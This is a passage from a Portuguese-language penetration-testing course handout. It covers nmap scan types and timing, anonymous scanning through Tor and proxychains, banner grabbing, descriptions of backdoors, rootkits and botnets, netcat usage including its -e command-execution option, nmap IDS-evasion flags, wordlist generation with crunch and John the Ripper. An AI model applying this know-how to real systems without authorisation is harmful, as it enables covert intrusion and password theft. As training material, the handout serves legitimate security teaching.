Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN,
enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH são
utilizados nos pacotes FIN que é enviado ao alvo. (Esse método não funciona com a
plataforma Windows, uma vez que a Microsoft não seguiu RFC 973)
Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, en-
quanto portas abertas ignoram esses pacotes. Nenhuma flag é ligada no pacote
FIN. (Esse método não funciona com a plataforma Windows, uma vez que a Micro-
soft não seguiu RFC 973)

8.4.7 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>
Esse parâmetro seta a prioridade de varredura do Nmap:
• Paranoid (-T0) é muito lento na esperança de prevenir a detecção pelo sistema

IDS. Este serializa todos os scans (scanning não paralelo) e geralmente espera
no mínimo 5 minutos entre o envio de pacotes.
• Sneaky (-T1) é similar ao Paranoid, exceto que somente espera 15 segundos

entre o envio de pacotes.
• Polite (-T2) tem o significado para facilitar a carga na rede e reduzir as chances
de travar a máquina. Ele serializa os testes e espera no mínimo 0.4 segundos
entre eles.
• Normal (-T3) é o comportamento default do Nmap, o qual tenta executar tão

rápido quanto possível sem sobrecarregar a rede ou perder hosts/portas.
• Aggressive(-T4) esse modo adiciona um timeout de 5 minutos por host e nunca

espera mais que 1.25 segundos para testar as respostas.
• Insane (-T5) é somente adequando para redes muito rápidas ou onde você não
se importa em perder algumas informações. Nesta opção o timeout dos hosts
acontece em 75 segundos e espera somente 0.3 segundos por teste individual.
Opções Interessantes:
-p ⇒ Utilizado para especificar portas
-O ⇒ Mostra a versão do S.O
-P0 ⇒ Desativa ICMP tipo 8 e o TCP ACK na porta 80
8.5 Anonymizer
Os programas de anonymizer funcionam basicamente para ocultar seus dados en-

quanto navega na internet.
Normalmente a aplicação utilizada para isso é um proxy, que após configurado, per-
mite que seu IP seja mascarado, fornecendo o dele como IP real.

Com isso, é possível proteger o conteúdo de e-mails, textos de softwares de mensa-

gens instantâneas, IRC e outros aplicativos que usam o protocolo TCP.
Uma boa ferramenta para utilizarmos mantendo nossos dados de navegação prote-
gidos, é o TOR – The Onion Router.
O programa foi desenvolvido pelo Laboratório Central da Marinha para Segurança de

Computadores, com a ajuda da Darpa (www.darpa.mil), a agência criada no auge da
guerra fria com o objetivo de transformar os Estados Unidos em uma superpotência
tecnológica. Para quem não se lembra, foi a Darpa (na época sem o D) quem coor-
denou os estudos para a construção de uma rede descentralizada de computadores,
capaz de resistir a qualquer ataque localizado. Foi assim que nasceu a Arpanet, o
embrião do que hoje chamamos internet.
O Tor andava meio esquecido, até que a Electronic Frontier Foundation, uma en-
tidade civil que se destaca pelo vigor com que combate nos tribunais os abusos
governamentais contra os direitos individuais, decidiu apoiar politicamente o projeto
e contribuir financeiramente para que ele cresça, fique forte e consiga deixar cada
vez mais gente invisível.
Outro programa, que trabalha junto com o TOR, é o privoxy, que evita o envio de
qualquer dado enviado pelo navegado alcance a intranet, bloqueando-os no cami-
nho. Isso evita que através desses dados, qualquer informação do internauta seja
capturada, e sua localização descoberta.
TOR – The Onion Router
http://www.torproject.org/
http://www.privoxy.org
8.5.1 Instalando e testando o TOR no BackTrack
Editando o sources

1 # vim / etc / apt / sources . list

2 deb http :// deb . torproject . org / torproject . org lucid main
3 deb - src http :// deb . torproject . org / torproject . org lucid main
4
5 # gpg -- keyserver keys . gnupg . net -- recv 886 DDD89
6 # gpg -- export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt - key add
-
Atualizando o pacote
1 # apt - get update
Instalando os pacotes
1 # apt - get install tor tor - geoipdb privoxy
Configurando privoxy
1 # vim / etc / privoxy / config

2
3 forward - socks4a / 127.0.0.1:9050 .
Testando
1 # tor
2 # nmap localhost
3 # netstat - ntpl | grep privoxy
4 # netstat - ntpl | grep tor
Addon do Firefox
1 # wget -c https :// www . torproject . org / dist / torbutton / torbutton - current
. xpi

No browser faça: file:///root/torbutton-current.xpi
Testando o navegador
https://torcheck.xenobite.eu/
Scaneando redes de forma anonima
1 # proxychains nmap - sT - PN -n - sV -p21 ,25 ,80 10.0.2.15

2
3 # torify nmap - sT - PN -n - sV -p21 ,25 ,80 10.0.2.1

9 Enumeração de informações e
serviços
9.1 Enumeração
As técnicas de enumeração são utilizadas como um complemento às fases de fin-

gerprint e varredura.
O objetivo é descobrir serviços e versões que estão sendo executados no sistema

alvo, facilitando a posterior pesquisa de vulnerabilidades e exploits específicos.
Quanto mais informações tivermos sobre nosso alvo, mais fácil será para encontrar-
mos vulnerabilidades e melhorarmos nossos vetores de ataque. Sabendo os servi-
ços rodando e as versões dos mesmos, torna-se possível encontrarmos os exploits
corretos e as vulnerabilidades que poderão ser exploradas.
Além disso, na fase de enumeração, mapeameos toda a rede do alvo, descobrindo

os pontos falhos e onde podemos explorar para conseguir acesso a informações
estratégicas.
9.2 Aquisição de banners
Falaremos agora a respeito da captura de informações sobre os serviços que es-

tão rodando em uma máquina-alvo por meio da leitura de seus respectivos banners
que são aquelas mensagens que contém informações como o tipo do serviço, sua
versão, etc. Essas informações visam estabelecer um levantamento dos serviços
utilizados, onde o foco de um possível ataque pode estar voltado para a exploração
de vulnerabilidades desses serviços.
Linux Force – www.linuxforce.com.br Enumeração de informações e serviços
9.2.1 Técnicas clássicas
Sem utilizar ferramentas específicas, é possível conseguir informações dos serviços

que estão sendo executados em determinada porta. Abaixo veremos dois exemplos,
utilizando ftp e telnet. Obtendo banner de um servidor ftp:
1 # ftp 192.168.200.254
Obtendo banner de um servidor de e-mail:
1 # telnet 192.168.200.205 25
2 HELO [ dom í nio ]
3 MAIL FROM : [ endere ç o_origem ]
4 RCPT TO : [ endere ç o_destino ]
5 DATA
6 ( ... msg ... )
7 .
8 quit
Com o comando telnet, podemos tentar conectar em todas as portas existentes para
verificar o que está sendo executado.
Obviamente que esse é um método lento e impossível de ser executado nas mais
de 65000 portas existentes, mas é interessante conhecê-lo, e ainda evita a detecção
por IDS ou firewall.
9.2.2 Ferramentas
nmap Realiza varredura de rede, buscando hosts ativos, portas abertas e serviços
sendo executados.
xprobe2 Analisa banners de sistemas operacionais, comparando com um banco

de dados interno, onde compara-os e informa o S.O. utilizado e a versão do
mesmo.
amap Analiza banners de serviços que estão sendo executados, e informa o nome
e versão.

Linux Force – www.linuxforce.com.br Enumeração de informações e serviços
autoscan Faz varredura na rede e informa hosts ativos, portas abertas e serviços
sendo executados. Funciona através de uma interface gráfica.
maltego Faz varredura de redes, serviços, protocolos, domínios e várias outras op-
ções, informando de forma gráfica a relação entres os hosts ativos.
lanmap Varre toda a rede e captura pacotes, criando ao longo de sua execução
um arquivo .PNG com o mapa da rede, informando graficamente a relação das
máquinas encontradas.
cheops Varre toda a rede em busca de hosts ativos, informando graficamente, atra-
vés de um mapa, os hosts ativos, S.O. sendo executado, portas abertas, ser-
viços sendo executados. Utiliza o nmap por debaixo de sua execução, para
realizar as varreduras.
nessus Através de plugins específicos, varre um determinado alvo, informando as

vulnerabilidades encontradas, inclusive exibindo o link de onde podemos en-
contrar mais informações sobre determinada vulnerabilidade e seu exploit.

10 Trojans, Backdoors, Vírus,
Rootkits e Worms
10.1 Backdoor
As backdoors são programas destinados a fornecer um meio de acesso remoto ao

hacker a uma máquina que provavelmente teve sua segurança comprometida por
ele anteriormente. Normalmente, esses programas abrem uma porta no computador
atacado, e nessa porta tem o servidor do hacker escutando, apenas esperando o
hacker se conectar nela para dar total acesso ao computador.
Mas, como esse método ficou fácil de ser detectado, pois com uma simples varredura
por portas abertas na máquina entregaria o hacker, novas técnicas mais avançadas
tem surgido, tais como backdoors que não abrem portas, mas sim ficam ouvindo
portas já abertas na máquina, e então quando detectam um tipo específico de dado
previamente estabelecido chegando nessa porta, a backdoor já sabe que é o hacker
que está querendo se conectar ao alvo e então, lança uma conexão para o computa-
dor do hacker. Esse tipo de backdoor é conhecido por Non-listen Backdoor.
Também podemos ter backdoors implantadas propositalmente em programas pelos

programadores. Existem diversos casos onde foram descobertas maneiras de aces-
sar um programa através de um login ou comando que não estava documentado.
10.2 Cavalo de Tróia ou Trojan Horse
Segundo os historiadores, os gregos tentaram invadir Tróia e sempre eram derrota-

dos pelos troianos. Então, os gregos tiveram uma brilhante idéia de criar um cavalo
de madeira onde eles iriam colocar diversos soldados e presentear os troianos como
reconhecimento da potencial defesa e declaração de paz. Com isso, os gregos con-
seguiram chegar ao coração de Tróia sem passar pelos muros e soldados troianos.
Linux Force – www.linuxforce.com.br Trojans, Backdoors, Vírus, Rootkits e Worms
Então, enquanto os troianos comemoravam a vitória e descansavam tranquilamente,

os soldados gregos saíram do cavalo e atacaram Tróia, que acabou sendo conquis-
tada pelos gregos. Essa história ficou conhecida como Cavalo de Tróia.
Então, depois de vários séculos desse acontecimento, acabamos descobrindo que

esse truque foi ressuscitado.
Os cavalos de tróia dos computadores são programas que aparentemente funcionam

normais, mas na verdade eles acabam realizando outra tarefa sem que o usuário
tome conhecimento. Um exemplo disso é quando recebemos um email contendo um
jogo anexado. Quando rodamos o jogo, conseguimos jogar normalmente, mas na
verdade, alem do jogo, pode estar sendo executados outros programas em conjuntos
para dar acesso ao seu computador a um possível atacante quando você se conectar
à internet ou então, você pode ter informações roubadas e enviadas por email para
o atacante ou onde for a imaginação do hacker.
Um exemplo de um cavalo de tróia é quando um hacker altera um arquivo do compu-

tador para se esconder ou esconder os seus arquivos dentro da maquina invadida.
Isso pode ser feito alterando o programa responsável por listar os arquivos dentro
de um diretório ou então alterando o programa responsável por mostrar todas as
conexões ativas ao computador para o administrador.
Um hacker, quando ataca uma máquina, provavelmente ele irá instalar um con-
junto de ferramentas formadas por trojans e backdoor, para se esconder e garantir o
acesso futuro a maquina que foi invadida. Esse conjunto de ferramenta é conhecido
por Rootkit.
10.3 Rootkits
Rootkit é um conjunto de ferramentas que tem como objetivo ofuscar determinadas

ocorrências do sistema em que se encontra. Normalmente um rootkit é constituído
por trojans e backdoors.
Temos dois principais tipos de rootkits:
User-land
Os binários originais são alterados por binários modificados, alterando o fluxo normal
do programa;

Primeiramente é executado o código do rootkit e só então é realizada a funcionali-

dade real do programa.
Kernel-land
Adiciona código malicioso no kernel através de LKM (Loadable Kernel Module), dri-
vers, inserção de código direto na memória, hook de syscall table;
Se bem implementado, é praticamente impossível de ser detectado com o SO em

execução, precisando fazer análise da imagem.
Algumas das funcionalidades do Kernel-land rootkit:
Hide Itself: O módulo se oculta, não aparecendo na listagem de módulos, tornando

assim impossível de descarregá-lo;
File Hider: Todos os arquivos que possuir uma pré-determinada palavra em seu
nome serão ocultos da visualização;
Process Hider: Todos os processos que possuir uma pré-determinada palavra em

seu nome serão ocultos da visualização;
Socket Backdoor: Se um pacote com um tamanho predefinido contendo uma string

especificada no rootkit for recebido, será iniciará um programa, normalmente
uma backdoor.
10.4 Vírus e worms
Vírus e worms podem ser usados para infectar e modificar um sistema a fim de
permitir que um atacante ganhe acesso ao mesmo. Muitos vírus e worms carregam
trojans e backdoors.
Um vírus e um worm são softwares maliciosos (malware). A principal diferença entre

o vírus e o worm é que o primeiro, precisa ser executado para infectar o sistema. O
segundo se espalha automaticamente, tendo um poder de infecção muito maior.
Os vírus, para começar a trabalhar, precisam ser ativados, ou seja, você precisa
executar o programa infectado. Somente após isso, ele começará a infectar outros
arquivos. Se algum arquivo infectado for levado e executado em outro computador,
então o vírus começará a atacar os arquivos dos outros computadores também.

Tanto os vírus quanto os cavalos de tróia não conseguem infectar um computador

externo sem a ajuda de uma pessoa.
O worm ou verme é um programa que pode infectar tanto uma máquina local quando
uma máquina externa. Normalmente, os worms exploram falhas de segurança em
outros programas para se propagarem, como é o caso do worm BLASTER, que ficou
mundialmente conhecido após infectar milhares de computadores e poucas horas.
Esse worm explorava um problema de programação em um serviço conhecido por
rpc-dcom, que vem ativado por padrão nos sistemas operacionais Windows 2000 e
Windows XP.
10.5 Bots e Botnets
De modo similar ao Worm, o Bot é um programa capaz de se propagar automatica-

mente, explorando vulnerabilidades existentes ou falhas na configuração de softwa-
res instalados em um computador. Adicionalmente ao Worm, dispõe de mecanismos
de comunicação com o invasor, permitindo que o Bot seja controlado remotamente.
10.5.1 Botnets
Botnets são redes formadas por computadores infectados com Bots.
Estas redes podem ser compostas por centenas ou milhares de computadores.
Um invasor que tenha controle sobre uma Botnet pode utilizá-la para aumentar a
potência de seus ataques, por exemplo, para enviar centenas de milhares de e-mails
de Phishing ou Spam, desferir ataques de negação de serviço, etc.

10.5.2 Como o invasor se comunica com o Bot?
A comunicação entre o invasor e o computador infectado pelo bot pode ocorrer via
canais de IRC, servidores Web e redes do tipo P2P, entre outros meios. Ao se comu-
nicar, o invasor pode enviar instruções para que ações maliciosas sejam executadas,
como desferir ataques, furtar dados do computador infectado e enviar spam.
Um computador infectado por um bot costuma ser chamado de zumbi (zombie com-
puter), pois pode ser controlado remotamente, sem o conhecimento do seu dono.
Também pode ser chamado de spam zombie quando o bot instalado o e transforma
em um servidor de e-mails e o utiliza para o envio de spam.
10.5.3 Esquema simplificado de uma botnet
O esquema simplificado apresentado a seguir exemplifica o funcionamento básico

de uma botnet:
1. Um atacante propaga um tipo especifico de bot na esperanca de infectar e

conseguir a maior quantidade possivel de zumbis;
2. Os zumbis ficam então disposição do atacante, agora seu controlador, a espera

dos comandos a serem executados;
3. Quando o controlador deseja que uma ação seja realizada, ele envia aos zum-
bis os comandos a serem executados, usando, por exemplo, redes do tipo P2P
ou servidores centralizados;
4. Os zumbis executam então os comandos recebidos, durante o periodo prede-

terminado pelo controlador;
5. Quando a ação se encerra, os zumbis voltam a ficar a espera dos próximos

comandos a serem executados.
Vamos reproduzir em sala de aula, em ambiente controlado uma botnet, então

se prepare, se você usa algum antivirus, ele pode detectar a ameaça, então durante
esta aula desabilite temporiariamente seu antivirus.

10.6 Netcat
Netcat é uma ferramenta usada para ler e escrever dados em conexões de rede
usando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat é considerado
pelos hackers o canivete suíço do TCP/IP, podendo ser usado para fazer desde ports-
cans até brute force attacks.
O nome netcat vem do comando "cat"do Linux/Unix. O cat concatena arquivos e

envia para a saída padrão (stdout). O netcat faz praticamente o mesmo, porém ao
invés de concatenar arquivos, o netcat concatena sockets TCP e UDP.
Possui inúmeras funções, dentre as quais:
• Varredura de portas;
• Banner grabbing;
• Criação de backdoor;
• Tunelamento e etc.
Além de facilitar a vida do administrador de rede, também facilita a vida de um in-

vasor, portanto, cuidado! Mate seu processo e remova o binário sempre após a
utilização, caso não queira tornar-se a vítima.
10.6.1 Opções do Netcat
-e comando Executa o comando especificado usando como entrada (stdin) os da-

dos recebidos pela rede e enviando os dados de saída (stdout e stderr) para
a rede. Essa opção somente estará presente se o nc for compilado com a op-
ção GAPING_SECURITY_HOLE, já que permite que usuários disponibilizem
programas para qualquer um conectado a rede;
-i Especifica o intervalo de tempo no qual as linhas de texto serão enviadas ou rece-

bidas;
-l Coloca no netcat em estado de escuta (listening);
-L Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a

mesma linha de comando caso a conexão feche;

-n Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas a

servidores DNS;
-o filename Usando para obter um log dos dados de entrada ou saída, em formato
hexadecimal;
-p Especifica a porta a ser usada, sujeito a disponibilidade e a restrições de privilé-

gio;
-r Faz as portas do portscan serem escolhidas aleatoriamente;
-s Especifica o endereço IP da interface usada para enviar os pacotes. Pode ser

usado para spoofing de IPs, bastando apenas configurar uma interface do tipo
eth0:0 (usando o ifconfig) com o IP desejado;
-t Permite usar o nc para criar sessões de telnet por script. Precisa estar compilado
com a opção -DTELNET;
-u Usar UDP ao invés de TCP;
-v Controla o nível de mensagens mostradas na tela;
-w Limita o tempo máximo para que uma conexão seja estabelecida;
-z Para evitar o envio de dados através de uma conexão TCP, e limitar os dados de
uma conexão UDP.
10.6.2 Netcat - Utilização
Transferência de arquivos:
No servidor:
1 # netcat -l -p 5050 > file . txt
No cliente:
1 # cat file . txt | netcat ip_server 5050

Uso como scanner
1 # nc -vv 127.0.0.1 22 -25
10.6.3 Encadeando Netcats
Netcat foi desenvolvido para trabalhar com um pipeline, então naturalmente a saída
de uma instância do Netcat pode alimentar a entrada de outro. Abaixo segue uma
maneira de enviar um arquivo de log de um host para outro através de um interme-
diário:
1 host3 # nc -l > log . txt

2 host2 # nc -l --sh - exec " ncat host3 "
3 host1 # nc -- send - only host2 < log . txt
O Netcat em modo de escuta no host2, ao receber uma conexão cria um "novo

netcat"para falar com o host3 e conecta a entrada e saída do programa em execução
no host1 e host3 encadeando-os. Esse mesmo "macete"pode ser utilizado em um
host local também. O exemplo a seguir direciona a porta 8080 para o servidor web
exemplo.org.br:
1 # nc -l localhost 8080 --sh - exec " ncat exemplo . org . br 80
10.7 Keylogger
Keylogger são programas utilizados para gravar tudo aquilo que o usuário digita no
teclado. Alguns, mais avançados, armazenam screenshots da tela ou até mesmo a
área ao redor do ponteiro do mouse onde ocorre um click.
Exemplos de Keyloggers:
Ardamax ⇒ Windows

Pykeylogger ⇒ Linux - http://sourceforge.net/projects/pykeylogger/files/
Além dos keyloggers lógicos, temos os keyloggers físicos, que podem ser comprados
em lojas virtuais por poucos dólares.
Esses keyloggers físicos se parecem com adaptadores de teclados PS2/USB, sendo

instalados entre o cabo do teclado e a entrada PS2 da CPU, só que eles armazenam
dentro de uma memória flash tudo o que é digitado no teclado “grampeado”.
Obviamente, que a instalação de um dispositivo desses, seja lógico ou físico, neces-

sita do uso de recursos de engenharia social para que o mesmo seja instalado na
máquina do alvo. E no caso do keylogger físico, o atacante precisa ter acesso físico
à máquina, tanto para instalar, quanto para pegar de volta o dispositivo.

11 Ignorando Proteções
11.1 Evasão de Firewall/IDS com Nmap
As técnicas de evasão de firewall e IDS são utilizadas para evitar que qualquer tipo
de aplicação que contenha filtros e controles de acesso, possam detectar as ações
do atacante. Tanto ferramentas específicas quanto parâmetros de ferramentas cujo
objetivo de utilização não é especificamente esse, podem ser usados. Abaixo vamos
ver alguns parâmetros do Nmap, que podem ser utilizados para burlar proteções, e
do Firewall Tester (FTester), que é utilizado para testar regras de firewall pesquisando
como está o nível de bloqueio e detecção de pacotes maliciosos.
-f ⇒ fragmenta pacotes, incluindo pacotes IP. A idéia é dividir os cabeçalhos TCP

em vários pacotes, dificultando a detecção por filtros de pacotes, IDS e etc.
-D <decoy1>[,<decoy2>][,ME][,...] ⇒ realiza uma varredura utilizando iscas. Faz

parecer que vários hosts da rede, juntamente com seu IP, estão varrendo o alvo.
Desse modo, o IDS pode reportar 5-10 varreduras em um único IP, mas não
saberá definir quais são iscas inocentes e qual IP está realmente realizando a
varredura.
-S <IP_Address> ⇒ realiza um IP spoofing, fazendo com que um IDS report uma

varredura sendo realizada a partir de um outro IP, que não o seu, mas que é
definido por você.
–source-port <portnumber> ⇒ realiza um port spoofing, permitindo que seja defi-

nido no pacote de qual porta ele teoricamente foi enviado. Essa técnica explora
as portas abertas no alvo para realizar varreduras que o firewall permitirá por
conta de suas regras. As portas mais utilizadas são DNS (53) e FTP (21).
–randomize-hosts ⇒ ordena de forma aleatória os hosts alvos de uma varredura.

Isso pode tornar a varredura menos óbvia para sistemas de monitoramento de
rede, especialmente se combinado com opções de "slow timing".
–spoof-mac <MAC address> ⇒ faz um MAC spoofing, atribuindo um endereço MAC,

Linux Force – www.linuxforce.com.br Ignorando Proteções
definido pelo atacante, para todos os frames ethernet enviados.
11.2 Firewall Tester
Firewall Tester (FTester) é uma ferramenta criada para testar regras de filtragem fi-
rewalls e as capacidades Intrusion Detection System (IDS).
A ferramenta consiste em 2 scripts perl, um injetor de pacotes (ftest) e um sniffer

passivo (listening sniffer – ftestd).
11.2.1 Características:
• firewall testing
• IDS testing
• Simulação de conexões reais TCP para inspecionar firewalls e IDS.
• Fragmentação de IP / Fragmentação de TCP
• Técnicas de evasão de IDS
Download - http://dev.inversepath.com/ftester
Documentação - http://dev.inversepath.com/ftester/ftester.html
11.2.2 Utilização:
1 # ./ ftest
2 # ./ ftestd

11.2.3 Sintaxe:
Para pacotes TCP e UDP:
IP_origem:porta_origem:IP_destino:porta_destino:Flags:Protocolo:Tipo_serviço
Para pacotes ICMP:
IP_origem:porta_origem:IP_destino:porta_destino:Flags:ICMP:tipo_icmp:código_icmp
11.3 Detectando Honeypots
Dificilmente uma organização ou empresa que esteja contratando profissionais para

realizar um pentest, possui um honeypot em sua rede. Mas ainda assim existe essa
possibilidade...
Existem vários tipos de honeypots, mas podemos dividi-los, basicamente, em dois

grandes grupos:
⇒ Honeypot de baixa interatividade
⇒ Honeypot de alta interatividade
O honeypots de baixa interatividade são facilmente detectáveis, bastando utilizar

boas ferramentas de varredura, descoberta de vulnerabilidades e exploração, pois
por sua limitação de respostas e interação com o atacante, pelas respostas transmi-
tidas ao atacante, esse último conseguirá perceber que o alvo não é uma máquina
real.
Já com os honeypots de alta interatividade, a coisa muda de figura, pois suas respos-
tas são mais consistentes e o comportamento é bem próximo de um servidor real,
caso esteja bem configurado.
Com os HP de alta interatividade, apenas a experiência e o conhecimento dessas

armadilhas podem permitir ao pen-tester descobrir e detectar essas armadilhas para
invasores. No entanto, não aconselho perder muito tempo tentando detectar honey-
pots e definir se um servidor que está tentando explorar é um HP ou não. Deixe que
isso seja consequência de seu trabalho, e não o objetivo principal.

Nmap, Nessus e OpenVas são ótimas ferramentas que podem ser utilizadas na de-
tecção de honeypots.

12 Tecnicas de Forca Bruta
12.1 Brute Force
Uma das mais conhecidas técnicas de invasão de sistemas é, sem dúvida, o brute
force. O método de funcionamento de um ataque desse tipo é muito simples: são
geradas várias tentativas de conexão a partir do nome de um provável usuário da
máquina alvo. A técnica consiste em gerar várias combinações de senhas para esse
usuário, na tentativa de ”adivinhar” a senha dele.
Também podemos alternar o nome do usuário, fazendo brute force de usuário e

senha. Para isso, podemos obter um arquivo chamado “wordlist”, no qual podemos
gerar diversas combinações possíveis de senhas para testar com o brute force.
Baseados nisso, veremos algumas ferramentas para realizar esse tipo de teste.
12.2 Wordlist
Uma boa wordlist é fundamental para o sucesso de um ataque de brute force.
É possível comprar wordlists, fazer download ou até mesmo gerar listas de palavras
que serão usadas pelas ferramentas de brute force.
12.2.1 Geração de Wordlist
Existem diversas ferramentas que auxiliam na geração de uma wordlist.
Abaixo listaremos algumas das ferramentas que podem ser usadas para a realização
dessa tarefa.
Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta
1 # crunch 5 8 12345678 > / tmp / wordlist - numeric
Onde:
5 - tamanho mínimo da palavra
8 - tamanho máximo da palavra
12345678 - Caracteres que serão usados para a geração da lista
Temos mais algumas opções a definir com esta ferramenta, mas desta vez vamos
tentar criar combinações mais próximas do ”mundo real” onde muitas vezes, ou por
falta de criatividade ou medo de esquecer a senha as pessoas acabam associando
ao próprio nome uma data, casamento, namoro, nascimento, aniversário do papa-
gaio, etc. Vamos ver como poderíamos ”adivinhar” a senha o Júnior.
1 # crunch 10 10 1234567890 -t junior@@@@ > / tmp / juniorlist
Vamos fazer uso de outra ferramenta para gerar wordlists, no caso, a ferramenta
wyd. A diferença dessa ferramenta para o crunch é que essa utiliza uma maneira
mais ”inteligente” de gerar as combinações.
Vamos gerar a wordlist com baseado em um arquivo HTML de um site qualquer que
fizemos download:
1 # wyd . pl -o / tmp / wordlist ./ meu_dump . html
Eliminando as palavras repetidas:
1 # cat / tmp / wordlist | sort -u > / tmp / wordlist - inteligente
O wyd consegue gerar combinações a partir de arquivos em texto puro, html, php,
doc, ppt, pdf, odt, ods e odp.

12.3 John The Ripper
O John é um dos utilitários mais conhecidos para decifrar senhas no Linux, pois
consegue decifrar algoritmos usados pelo sistema como o MD5 e outras. Toda a
configuração do John é feita em um arquivo texto chamado john.conf em sistemas
Unix ou john.ini no Windows, por exemplo. Neste arquivo você consegue definir
regras para a descoberta de senhas, wordlists, parâmetros para os modos e até
definir um novo modo de descoberta de senhas.
Este arquivo é dividido em várias seções. Todas as seções começam com uma linha
com seu nome entre colchetes ( [ ] ). As opções destas seções são definidas em
variáveis de modo bem simples, como em:
⇒ variável = valor
Os nomes de seções e variáveis são case-insensitive, ou seja, SECAO1 e secao1

são a mesma seção e VAR1 e var1 são a mesma variável. Os caracteres # e ; são
completamente ignorados, assim como linhas em branco.
Abaixo estão as explicações das opções dividas por seção:
Options:
Wordlist: A wordlist a ser utilizada pelo JtR. O arquivo pode estar em qualquer lugar,
basta especificar o caminho correto nessa variável;
Idle: Configura o John para usar seu CPU quando este estiver inativo. Diminui o
desempenho da quebra da senha, porém não impacta tanto no desempenho
de outros programas. O padrão desta opção é N (desabilitado);
Save: Intervalo no qual o software irá gravar seu progresso para no caso de uma
interrupção ele possa recomeçar novamente de onde havia parado;
Beep: Emite um bip quando uma senha é quebrada.

List.Rules:Single
Nesta seção ficam as regras default do software para a quebra das senhas. São
regras como substituição de strings, escrita 1337 e outras.
List.Rules:Wordlist
Nesta seção ficam as regras de substituição de caracteres, modificações de palavras,

etc quando se está usando uma wordlist para tentar quebrar as senhas do arquivo.
List.Rules:NT
Nesta seção ficam as regras utilizadas quando se está quebrando senhas cifradas
utilizando o algoritmo NTLM (Windows).
Incremental:*
Aqui ficam as regras para o tipo de quebra de senhas chamado Incremental (todos
os "tipos"de tentativas de quebra de senha que o John utiliza serão explicados mais
adiante neste documento).
List.External:*
São alguns filtros pré-definidos para substituição de palavras, eliminação de caracte-

res indesejados, etc.
12.3.1 Modos
Jhon the Ripper utiliza alguns modos para que consiga otimizar a quebra da senha.
Estes modos são explicados a seguir:

Modo Wordlist - Para utilizar esse método você vai precisar de uma wordlist. Exis-
tem vários lugares na Internet que possuem milhares de wordlists disponíveis gra-
tuitamente, é só dar uma olhada no Google que você irá encontrar várias. Para te
ajudar, aqui no item "Wordlists"você encontra vários links para wordlists disponíveis
na Internet. Lá você também encontra algumas dicas de como organizar a sua lista.
Mas vale lembrar que não é bom que você tenha entradas duplicadas na sua lista,
o Jhon the Ripper não vai fazer absolutamente nada com a sua wordlist antes de
começar a testar as palavras que tem nela.
Este é o modo mais simples suportado pelo John. Para utilizá-lo você só especifica
uma wordlist e algumas regras para ele fazer combinações das palavras que ele en-
contrar na lista que você especificou. Quando utilizando determinados algoritmos, o
Jhon the Ripper se beneficiará se você colocar senhas com tamanhos mais ou me-
nos parecidos perto umas das outras. Por exemplo, seria interessante você colocar
as senhas com 8, 6 ou 9 caracteres perto umas das outras na sua wordlist. A wordlist
padrão a ser utilizada pelo John é definida no arquivo john.conf.
Modo Single Crack - É neste modo que você deveria começar a tentar quebrar uma
senha. Aqui, além de várias regras de handling serem aplicadas, o Jhon the Ripper
vai utilizar mais informações como o nome completo do usuário e seu diretório home
para tentar descobrir qual é a senha. Este modo é muito mais rápido que o modo
"Wordlist".
Modo Incremental - Este é o modo mais poderoso do Jhon the Ripper. Nele serão
tentadas todas as combinações possíveis de caracteres para tentar quebrar a senha
cifrada. Dada a grande quantidade de combinações possíveis, é recomendável que
se defina alguns parâmetros (como tamanho da senha ou conjunto de caracteres a
serem utilizados) para que você não fique esperando pela senha ser quebrada por
muito tempo.
Todos os parâmetros para este modo são definidos no arquivo john.conf, nas seções
começadas com Incremental no nome.
Modo External - Esse modo é bastante complexo. Nele você pode definir regras
próprias para o John seguir ao tentar quebrar uma senha. Tais regras são definidas
em uma linguagem parecida com a C no arquivo de configuração do programa. Ao
ser especificado este modo ao tentar quebrar uma senha na linha de comando, o
JtR vai pré-processar as funções que você escreveu para este modo e utilizá-las. A
documentação de uso desse modo pode ser obtida em:
http://www.openwall.com/john/doc/EXTERNAL.shtml

12.3.2 Linha de Comando
O John suporta várias opções de linha de comando, geralmente usadas para ativar
determinados modos de uso do software. Preste bastante atenção no case das
opções, o JtR é case-sensitive! Uma característica muito legal dele é que é possível
abreviar as opções da linha de comando desde que não haja ambigüidade (mais ou
menos da maneira como ocorre no shell de roteadores Cisco, por exemplo).
Abaixo vou dar uma explicação básica das opções que o John suporta. Se você se
esquecer de alguma opção quando estiver utilizando o JtR, é só digitar "john"no ter-
minal e todas as opções serão impressas para você. As opções podem ser definidas
utilizando – ou - e seus parâmetros são definidos utilizando = ou :.
–single: Define o modo "single"para quebrar as senhas.
–wordlist=ARQUIVO: Define o modo "wordlist"para quebrar as senhas e define o

arquivo ARQUIVO como sendo de onde as senhas serão lidas. Aqui você pode
utilizar também a opção –stdin para dizer que as palavras virão da entrada padrão.
–incremental: Define que será utilizado o modo "incremental"para quebrar a senhas.

Opcionalmente você pode definir que tipo de modo incremental será utilizado fazendo
–incremental[=MODO].
–external=MODO: Define que será utilizado o modo external.
–rules: Habilita as regras para wordlist definidas em john.conf quando se utiliza o

modo wordlist.
–stdout[=LENGTH]: Quando utilizado, faz com que o JtR imprima as possíveis se-
nhas direto na saída padrão ao invés de tentá-las contra um hash. Se você definir
o parâmetro LENGTH só serão impressas senhas com caracteres até a quantidade
especificada em LENGTH.
–restore[=NOME]: Faz com que uma sessão que foi interrompida anteriormente con-
tinue de onde parou. Se você definir um nome diferente para a sessão, especifique
o nome dela na linha de comando junto com esta opção. A sessão fica gravada na
home do John, em um arquivo chamado john.rec.
–session=NOME: Define o nome da sessão que pode ser utilizado com a opção
restore. A esse nome será automaticamente adicionado a extensão .rec.
–status[=NOME]: Mostra o status da última sessão ou, se definido o nome da ses-

são, da sessão especificada.

–make-charset=ARQ: Gera um arquivo charset para ser utilizado no modo "incre-

mental".
–show: Mostra as senhas do arquivo que você especificou para o JtR que já foram
quebradas. Esta opção é especialmente útil quando você tem outra instância do JtR
rodando.
–test: Esta opção faz um benchmark de todos os algoritmos compilados no software

e os testa para saber se estão funcionando corretamente. Esta opção já foi explicada
anteriormente.
–users=[-]Nome do usuário ou UID: Com esta opção você pode especificar para
